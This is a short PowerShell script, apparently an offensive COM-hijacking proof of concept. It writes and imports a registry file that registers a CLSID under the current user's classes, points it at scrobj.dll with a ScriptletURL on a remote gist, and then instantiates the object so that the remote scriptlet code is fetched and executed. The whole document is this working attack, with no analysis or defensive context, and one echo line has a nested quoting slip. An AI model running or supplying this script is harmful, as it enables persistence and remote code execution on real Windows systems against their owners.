COMhijacking.ps1

echo 'Windows Registry Editor Version 5.00' >> COMobj.reg

echo '[HKEY_CURRENT_USER\Software\Classes\CLSID\{00020000-0000-0000-C000-000000000046}]' >> COMobj.reg
echo '@="Bandit" >> COMobj.reg' >> COMobj.reg

echo '[HKEY_CURRENT_USER\Software\Classes\CLSID\{00020000-0000-0000-C000-000000000046}\InprocServer32]' >> COMobj.reg
echo '@="C:\\WINDOWS\\system32\\scrobj.dll"' >> COMobj.reg
echo '"ThreadingModel"="Apartment"' >> COMobj.reg

echo '[HKEY_CURRENT_USER\Software\Classes\CLSID\{00020000-0000-0000-C000-000000000046}\ProgID]' >> COMobj.reg
echo '@="Bandit"' >> COMobj.reg

echo '[HKEY_CURRENT_USER\Software\Classes\CLSID\{00020000-0000-0000-C000-000000000046}\ScriptletURL]' >> COMobj.reg
echo '@="https://gist.githubusercontent.com/homjxi0e/b47e892d238f470a58f43f311e86cda0/raw/c986b8829cf5e0dbd4dfd5571c3ae03e97061f54/COMObject22.sct"' >> COMobj.reg

echo '[HKEY_CURRENT_USER\Software\Classes\CLSID\{00020000-0000-0000-C000-000000000046}\VersionIndependentProgID]' >> COMobj.reg
echo '@="Bandit"' >> COMobj.reg
start C:\Users\har0ey\Desktop\COMobj.reg
sleep 4
$COMobj = [activator]::CreateInstance([type]::GetTypeFromCLSID("{00020000-0000-0000-C000-000000000046}"));$COMobj.Exec();